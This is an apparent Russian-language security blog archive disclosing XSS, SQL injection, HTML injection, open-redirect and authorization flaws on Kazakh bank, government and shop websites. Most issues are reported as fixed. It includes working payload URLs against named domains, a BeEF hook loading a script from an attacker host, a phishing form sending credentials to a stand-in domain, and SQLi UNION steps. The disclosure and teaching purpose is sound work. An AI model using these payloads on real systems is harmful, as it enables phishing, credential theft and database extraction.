Уязвимость на сайте egov.kz (XSS)

Thu, 08 Jun 2017 07:24:14 +0000

Про эти проблемы я сообщил press@nitec.kz более года назад. Многие проблемы они устранили, ~~но не всё~~. Думаю пришло время дисклозить.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

Очень важно, чтобы главный портал государственных услуг был без уязвимостей. XSS это еще одна возможность для мошенников производить фишинг атаки на пользователей. Ниже в посте есть видео кражи ЭЦП.

В посте описаны не все найденные уязвимости. Стоит отметить, что egov.kz отвечает на письма и исправляет проблемы. Но следующие XSS обещали исправить еще 31 Марта 2016 года.

Reflected XSS через Поиск - ~~не исправлено~~ исправлено 14-06-2017

Обычно XSS на сайтах чаще можно найти через Search.

Egov.kz не исключение. Вот результат такого запроса.

Proof of Concept: XSS через Поиск

Reflected XSS через IBM Eclipse Help System - ~~не исправлено~~ исправлено 14-06-2017

Похоже, что egov.kz использует старый IBM WebSphere вперемешку с Drupal.

Для старого WebSphere есть старый XSS. Остается надеяться, что egov.kz устанавливает другие патчи на WebSphere.

Proof of Concept: XSS через IEHS

XSS на idp.egov.kz - исправлено.

Здесь параметр redirectURL не был обработан.

На видео ниже, ЭЦП и пароль пользователя отправляются на localhost. Все работает по HTTPS.

Все примеры выше выполняется в контексте javascript кода. То есть, XSS аудиторы современных браузеров бессильны. Кстати, не знаю зачем мошенникам пароли, ведь пароль всех ЭЦП 123456 :)

Уязвимость на сайте epay.railways.kz (Authorization)

Tue, 18 Oct 2016 13:39:32 +0000

Проблема с авторизацией на сайте позволяет скачать все купленные билеты пользователей. Вендор знает про эту уязвимость.

Недостаточная авторизация (Insufficient Authorization) - отсутствие проверки прав (привилегий) при попытке выполнения определённых действий.

После регистрации на сайте (www.epay.railways.kz) и покупки билета, у пользователя есть возможность распечатать свой билет. В купленных билетах указаны такие персональные данные, как Ф.И.О пользователя, дата рождения и номер удостоверения или паспорта.

Ссылка для распечатки HTML (или PDF) билета выглядит так: hxxps://epay.railways.kz/ktz4/proc?pa=orders&sa=PRINT_EVENT&ORDER_ID=XXXXXXX&PRINT_TYPE=PRINT_TYPE_HTML&TICKET_ID=

Вы не можете увидеть чужие билеты через личный кабинет. Однако при запросе на распечатку, сервер не проверяет принадлежит ли нам запрашиваемый параметр ORDER_ID. Это значит, что мы можем получить доступ к чужим билетам меняя значение этого параметра.

Вот результат такого запроса.

Ещё один пример:

Если вспомнить, что продажу новых билетов через epay.railways.kz запустили в 2014 году, то можно понять, что это абсолютно все билеты.

Вот и первые пользователи (или разработчики?).

Конечно, не обошлось без XSS. Не обработаны почти все параметры форм и даже путь файлов. О свойствах XSS можете прочитать в другом посте.

Вот такой вот грустный #opendata.

Уязвимость в Kaspi Bank 2 (XSS)

Tue, 29 Mar 2016 15:56:24 +0000

Сегодня расскажем об очередном XSS на сайте банка. Предыдущий пост про Kaspi можно прочитать здесь.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

Часто на сайтах интернет-магазинов можно увидеть вот такую кнопку от Kaspi банка. Здесь также показан ответ от сервера банка.

Сама кнопка отображается с помощью <iframe>; ссылка выглядит так:

hxxps://kaspi.kz/kaspibutton/frame?template=button&merchantSku= 00000014673&merchantCode=XXXXX&city=000000&id=ks-xxxxx

Параметры template, id и т.д. отображаются на странице без соответствующей обработки. Это значит, что мы можем вставить любой HTML/JS код. Пример c alert():

hxxps://kaspi.kz/kaspibutton/frame?template=button&id=kaspi%27};alert%28document.domain%29;var%20a={aa:%27c

Результат для пользователя:

Что могут сделать мошенники через XSS? Привидем пример фишинг страницы на сайте банка через document.write().

Код создает такую форму:

Когда пользователь заполнит и отправит форму, мошенникам остается только посмотреть логи сервера на evil.lol. Там будет вся необходимая информация. Результат после нажатия кнопки Login to Kaspi:

Как мы видим, нельзя недооценивать последствия вставки кода. Надеюсь, что данное утверждение будет верным.

P.S.
Похоже, что этот сервер использует Citrix Netscaler. Вы получаете шифрованный куки NSC_xxxx.xxxxx который можно расшифровать с помощью этого скрипта чтобы извлечь имя хоста, порт и внутренний IP сервера. Not bad.

Уязвимость в Chocomart.kz (SQLi)

Tue, 16 Feb 2016 15:23:19 +0000

О проблеме я написал в Chocomart и она быстро была устранена (надеюсь полностью). У меня небольшой SQL опыт и поэтому в посте ничего нового. Но начинающим разработчикам все же будет интересно.

SQL Injection - это техника вставки кода, когда в запросе присутствует произвольный SQL-код. Обычно это происходит из-за некорректной обработки данных. Атакующий может получить полный доступ к базе данных. SQL injection впервые был описан в 1998 году.

На странице chocomart.kz/subscribe есть форма с автозаполнением где нужно выбрать свой город. Для примера представим, что SQL запрос выглядит так:

‘SELECT * FROM cities WHERE City LIKE ‘+ $_POST[‘query’] +’%;’

То есть, находим город по первым буквам названия города. Но, если напечатать abc%’ OR 1=1#; вместо города, то полный запрос будет таким:

SELECT * FROM cities WHERE City LIKE ‘abc%’ OR 1=1#; %’;

Запрос возвращает все города. Символ # используется для комментирования, что позволяет нам “удалить” продолжение запроса.

Как эксплуатировать эту уязвимость: с помощью UNION SELECT 1, 2, 3 узнаем используемый столбец.

Теперь, чтобы увидеть ответы на запросы, достаточно вставить SQL код вместо символа 2. UNION SELECT 1, database(), 3 вер нет имя базы данных.

Что эта за база данных? Посмотрим на имена таблиц.

Читая имена таблиц можно понять, что это полная база данных Chocomart (корзина, заказы, аккаунты, адреса, логи платежей и т.д.). После этого, я перестал делать запросы и не стал узнавать есть ли права на запись.

Хотя скачать всю базу данных - это вопрос времени. Узнав имя таблицы, вы сможете узнать имена столбцов. Мошенникам даже не нужно делать это “вручную” на вашем сайте.

Программы как sqlmap позволяют делать это в окне терминала. Запустите скрипт и через пару часов (или дней) у вас будет вся база данных в формате CSV. Пример с сайта sqlmap:

Кстати, сайт Chocomart показывал полный стек-трейс при ошибке SQL. Если вы не видите стек-трейс при синтаксической ошибке, то это называется слепой (blind) injection. Это немного усложняет атаку.

Нужно помнить, что многие современные веб фреймворки идут с ORM (object-relational mapping) и вам не нужно самим писать SQL. Это ускоряет разработку и помогает защититься от большей части SQL инъекции (вы не собираете запрос “по кускам”).

Если вас не устраивает производительность запросов при ORM, то стоит подумать о хранимых процедурах (stored procedures) или параметризированных запросах (parametrized queries).

Если же вы все-таки решили писать “сырой” SQL, то разработчикам нужно убедиться, что их приложения не уязвимы к SQLi атакам. Подробнее про SQL инъекции можно узнать здесь.

Уязвимость в Kaspi Bank (XSS+BeEF)

Thu, 03 Dec 2015 17:28:19 +0000

О проблемах я сообщил Каспи банку 18 дней назад. Длинный пост поделен на 2 части: обсуждение двух XSS уязвимостей на сайте банка и знакомство с BeEF.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

Первый XSS вектор - это неправильная обработка параметра idc.

hxxps://kaspi.kz/payments?idc=78xx"/><script>confirm(‘xss%20kaspi’);</script><meta%20x=“

Результат: постоянный (persistent) XSS, который сохраняется в течение всей сессии, даже если вы перейдете на другую страницу банка.

Следующая уязвимость находится в поиске магазина. Сайт фильтрует многие тэги и атрибуты типа script, src, onerror, но не object и data. Мы можем вставить наш код, создав новый объект.

Здесь использую демо код с jsfiddle.net.

Можно также создать объект с вредоносным PDF, Java, Flash или например простой картинкой.

Теперь обсудим насколько легко использовать эти уязвимости.

The Browser Exploitation Framework (BeEF) – это средство для эксплуатаций браузеров которое содержит набор модулей.

BeEF “цепляет" браузер жертвы с помощью javascript кода, что позволяет выполнять различные действия. Браузер может быть настольным или мобильным.

Вообще BeEF умеет делать очень продвинутые вещи (снимок с веб-камеры, запись аудио, атака на роутер и LAN, создание прокси и т.д.), но мы будем использовать модули для угона аккаунта и “развода” на деньги.

Готовим cсылку для жертвы: hxxps://kaspi.kz/payments?idc=666"/><script src=“http://192.168.1.111:3000/hook.js”></script><meta o=“

kaspi.kz – сайт куда вставляется зацепка для BeEF (hook)
192.168.1.111 – сервер на котором установлен BeEF
192.168.1.1 – IP адрес жертвы

Такую ссылку можно отправить пользователю банка, админу или CEO (так как сайт банка использует HTTPS, настоящие мошенники загрузят скрипт-зацепку на HTTPS сайт, чтобы браузер жертвы не жаловался на активное смешанное содержимое).

Отправив ссылку, нужно зайти на наш сервер. BeEF идет вместе с удобной админ-панелью (логин/пароль по умолчанию beef/beef).

После авторизаций, вы имеете доступ ко всем “зацепленным” браузерам. Здесь вы видите куки, данные ОС, список плагинов и т.д.

Вы также видите, что делает жертва на странице (неплохой кейлогер).

Тем временем, пользователь ничего не подозревает…

Но нам необязательно читать журнал событий, ведь перехват данных формы не составляет большого труда. Есть готовый модуль.

Вы всегда можете разработать свой модуль для BeEF. Также, многие модули идут с шаблонами, которые легко изменить под себя. Далее, пример показа всплывающего окна для перехвата пары логин/пароль.

У вас есть возможность видеть содержимое браузера жертвы. То есть можете скачать весь HTML код либо сделать скриншот реальной страницы.

Пример редактирования конкретного компонента страницы.

Авторы модулей для BeEF – люди не без юмора.

Вот и все. Надеюсь разработчики и владельцы сайтов теперь понимают чем может обернуться для пользователей простой или постоянный XSS.

P.S. Был ли заражен ваш браузер в прошлом, можно проверить здесь.

Уязвимость в Halyk Bank (XSS)

Mon, 30 Nov 2015 03:11:11 +0000

Краткий пост про проблемы на сайтах Halyk Bank и Halyk Finance. О проблеме я сообщил Халык банку 2 недели назад.

1) www.halykbank.kz не поддерживает безопасное подключение по протоколу HTTPS. Это очень плохо для банка! Пользователи должны видеть зеленый замочек.

У вас нет способа проверить находитесь ли вы на настоящем сайте банка или нет. Учитывая уязвимости домашних роутеров, вы вполне можете стать жертвой перехвата DNS.

2) Сайт Халык банка неправильно обрабатывает параметры поиска.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

Результат поиска xxxxxxx”><script>alert(’hello’);</script>

XSS - это еще одна возможность для мошенников производить фишинг атаки. Например, при загрузке страницы, переписываем содержимое страницы на тэг <input> и картинку <img> (используя функцию String.fromCharCode() для маскировки).

hxxp://www.halykbank.kz/ru/search?q=xxxxxxx"><script>window.onload%3Dfunction(){document.write(String.fromCharCode(60,105,109, 103,32,115,114,99,61,39,104,116,116,112,115,58,47,47,105,46,105,109,103,117,114,46,99,111,109,47,116,113,67,100,110,51,69,46,112,110,103,39, 62))%3B}<%2Fscript>

Вы также можете вставить свою форму или iframe. Результат для пользователя.

3) Регистрация и вход на сайт Halyk Finance www.halykfinance.kz также производится по HTTP, то есть по незащищенному каналу, а значит, любой может перехватить пользовательские данные.

Вы не хотите чтобы это произошло, потому что Halyk Finance предоставляет брокерские услуги на рынке ценных бумаг.

Сертификат при переходе на HTTPS://halykfinance.kz

Надеюсь Halyk Bank и Halyk Finance скоро исправят эти проблемы (члены финансовой группы Народного банка Казахстана «Halyk Group»).

Уязвимость в Казком 2 (HTML Injection)

Mon, 23 Nov 2015 01:56:24 +0000

Сегодня обсудим очередную уязвимость на сайте банка и как ее могут использовать мошенники. О проблеме на домене homebank.kz я сообщил банку 20 дней назад. Предыдущий пост про Казком здесь.

HTML Injection (внедрение кода) - это когда пользователь может вставлять HTML тэги в веб-приложение и изменить вид страницы или добавить новые элементы.

На главной странице Homebank есть форма для смены пароля.

Сама форма отображается с помощью <iframe>, а ссылка на ресурс выглядит так:

hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?url=https://www.homebank.kz/login/join/recard.htm?join-view=1

Параметр url отображается на странице без соответствующей обработки. Мы можем вставить текст <h1> или ссылку <a>. Пример:

Сайт банка блокирует такие тэги и атрибуты как script, src, data и т. д., поэтому мы не можем показывать всплывающее окно с помощью alert(). Однако, мы можем использовать тэг <dialog>,чтобы создать всплывающее окно без javascript (браузерная поддержка в Казахстане почти 55%).

Результат такой ссылки

hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?url=https://www.homebank.kz/login/join/recard.htm?join-view=1=1″/><dialog open style=“background:red;color:#fff;font-size:1.5em;”>Homebank закрыт<br>Позвоните завтра.<br><br>:(</dialog><!–

Можно также вставить свою форму, например как:

В итоге уязвимы:

hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?url=https://www.homebank.kz/login/join/card.htm?join-view=1
hxxps://www.homebank.kz/md5-card/index_for_hb.jsp?url=https://www.homebank.kz/login/join/recard.htm?join-view=1

Как мы видим, нельзя недооценивать серьезность вставки кода, особенно на сайте банка. Надеюсь, что данное утверждение на сайте Homebank больше не будет ошибочным.

Будьте бдительнее.

Уязвимость в Банк ЦентрКредит (Open Redirect)

Thu, 12 Nov 2015 02:25:54 +0000

Update: Теперь исправлено

Сегодня расскажу как мошенники могут связать вместе уязвимость и защиту сайта для контроля жертвы. О проблеме на домене www.bcc.kz я сообщил пресс-службе 17 дней назад. У данного банка тоже были проблемы с мошенниками:

Open Redirect (открытое перенаправление) – это редирект который позволяет использовать произвольный URL для конечной цели редиректа. Эта уязвимость используется мошенниками, чтобы заставить пользователей посетить фишинг сайты (не осознавая этого).

На сайте есть различные рекламные баннеры.

Полная ссылка баннера: hxxp://www.bcc.kz/bitrix/rk.php?id=17&site_id=s1&event1=banner&event2=click&event3=1+%2F+%5B17%5D+%5BMAINBOT%5D+ main_bottom_ru_2&goto=http%3A%2F%2Fmastercard.kz%2F

Если кликнуть на ссылку, то вы перейдете на другой сайт без каких либо предупреждений как ”Вы покидаете сайт банка. Будьте осторожны.”.

Банк использует Битрикс (”профессиональная” система управления сайтом). На форуме битрикса пишут, что у продукта есть встроенная защита.

В итоге уязвимы 3 файла (rk.php, click.php, redirect.php). Пример ссылок:

hxxp://www.bcc.kz/bitrix/click.php?anything=here&goto=http://homebank.kz/
hxxp://www.bcc.kz/bitrix/rk.php?id=17&site_id=s1&event1=banner&event2=click&goto=http%3A%2F%2Fhomebank.kz%2F
hxxp://www.bcc.kz/bitrix/redirect.php?event1=click_to_call&event2=&event3=&goto=http://homebank.kz/

В то же время, атаки на западные банки используют полный комплекс. После того как мошенники перевели деньги, например, Dyre Wolf, запускает мощную DDoS атаку (отказ в обслуживании) и перекрывает доступ к сайту банка.

Так вот, многие сайты казахстанских банков не очень удобны. Если WAF (Web Application Firewall) банка заметит опасные тэги в URL, то ваш IP-адрес блокируется(!) и вы временно не можете зайти на сайт.

“User-friendly” результат для пользователя:

Если вы мошенник переживающий кризисные дни и не можете себе позволить DDoS, значит вам повезло.

«Эконом вариант» атаки на пользователей банка:

Отправьте письмо с ссылкой на bcc.kz + редирект на фишинг сайт.
Заполучите логин/пароль и заставьте браузер жертвы сделать запрос на сайт банка с опасным тэгом в URL (теперь жертва заблокирована банком).
???
PROFIT!!!

Как мы видим, open redirect может иметь серьезные последствия. Я также думаю, что неэффективно блокировать IP-адреса. Во-первых, мошенникам очень легко сменить IP-адрес. Во-вторых, ваш сайт все равно должен быть неуязвим к injection атакам.

Уязвимость в Bank RBK (XSS)

Sun, 01 Nov 2015 08:51:19 +0000

Сегодня краткий пост про простую уязвимость на сайте банка. О проблеме я сообщил банку 2 недели назад.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

1) Домен hxxp://www.bankrbk.kz не фильтровал параметры поиска. Забыл точный payload, но думаю проблему уже устранили.

2) Интернет банкинг ib.bankrbk.kz построен на ASP.NET и неправильно обрабатывает параметры ReturnUrl которые отображаются внутри тэга <a>, в части кода для смены языка.

Можно вставлять javascript код который будет выполнятся при клике или наведений мышкой. Пример:

hxxps://ib.bankrbk.kz/Login.aspx?ReturnUrl=/&lang=EN%22%20onmouseover=%22alert%281%29%22%20

Сервер блокирует символ < в параметре ReturnUrl, но не блокирует javascript. Это значит можно использовать document.write() и построить новую страницу из таблицы ASCII применив String.fromCharCode().

Чтобы пользователь ничего не заметил, параметр ReturnURrl можно заполнить ненужным текстом.

hxxps://ib.bankrbk.kz/Login.aspx?ReturnUrl=/../../../../../../../../../../../../../../../../../../../../../“onmouseover=" document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,39,104,116,116,112,115,58,47,47,105,46,105,109,103,117,114,46,99,111, 109,47,116,113,67,100,110,51,69,46,112,110,103,39,62))”

XSS аудиторы некоторых браузеров знают, что это reflected XSS и не будут выполнять код. Но многие другие, например Firefox и мобильные браузеры, запустят действие и наш payload.

Мошенники используют XSS и другие уязвимости на сайтах банков с 2008 года. Непонятно, почему некоторые казахстанские и зарубежные банки до сих пор не избавились от простых уязвимостей в клиентской части. Будьте бдительны.

Уязвимость в Жилстройсбербанк (XSS)

Fri, 30 Oct 2015 07:45:27 +0000

Update: Теперь исправлено

Сразу скажу, что я сообщил об этом дефекте разработчику сайта, ibecsystems, 16 дней назад. К сожалению, мое письмо осталось без ответа, а уязвимость не была устранена до сих пор. Сегодня напишу детали проблемы в учебных целях (может это как-то ускорит процесс).

Разработчики умеют делать все правильно: всегда проверять данные контролируемые клиентом и обрабатывать все параметры запросов на сервере. Также нужно уследить за библиотеками в клиентской части. В случае же Жилстройсбербанка, разработчики забыли сделать и первое и второе.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

На сайте банка есть простой поиск. Давайте сделаем запрос:

Посмотрим что у нас в коде страницы. Интересно, что текст запроса (включая опасные символы “/>) появился в двух местах.

Попробуем получить результаты поиска.

Находим текст запроса без обработки.

Что видит пользователя.

Теперь можно сделать запрос с javascript.

Но это слишком легко. К тому же, браузеры с XSS аудиторами, такие как Chrome и Opera, откажутся выполнять наш alert(), потому что скрипт, оказавшийся на странице, находился в параметре запроса.

Нам лучше сосредоточится на этом участке кода с jQuery. Мы хотим выполнить код после $(’.search’).val().

Это значит нужно “пройти” все $(’#search_results’).highlight() без ошибок.

Первая попытка. Результат такого запроса содержит ошибку и не выполняется браузером.

После перебора нескольких вариантов, я смог найти хороший payload.

hxxp://www.hcsbk.kz/ru/search?query=’);alert(“wow”);//

Код выполняется без ошибок. Имейте ввиду, что в этом случае XSS аудитор браузера вам не поможет.

Кто-то может подумать “Туууй,тоже маған катастрофа! Это же главная страница банка, а не чей-то личный кабинет!”.

Да, это не ~~ключ от квартиры, где деньги лежат~~ личный кабинет, но близко. К тому же я не смотрел код личного кабинета банка, но у меня плохое предчувствие: банк не поддерживает HTTPS.

Если соединение небезопасно, это значит ваш ИИН, пароль и все что внутри кабинета видно всему свету (от браузера до сервера банка и обратно). XSS это идеальное средство для мошенников.

Отправьте письмо с ссылкой на сайт банка + xss payload. Когда пользователь заполнит форму и логин/пароль от личного кабинета, эти данные попадут на сервер мошенников. Все это будет происходить на сайте банка.

ibecsystems нужно исправить этот дефект и проверить код сайта на другие проблемы. Банк должен подумать о переходе на HTTPS и необходимости Content Security Policy.

Раньше разработчики не воспринимали XSS всерьез, но сейчас все понимают, что XSS - это критическая уязвимость на стороне клиента. Позже я напишу пост о том, что можно сделать с помощью браузера пользователя, XSS, и BeEF.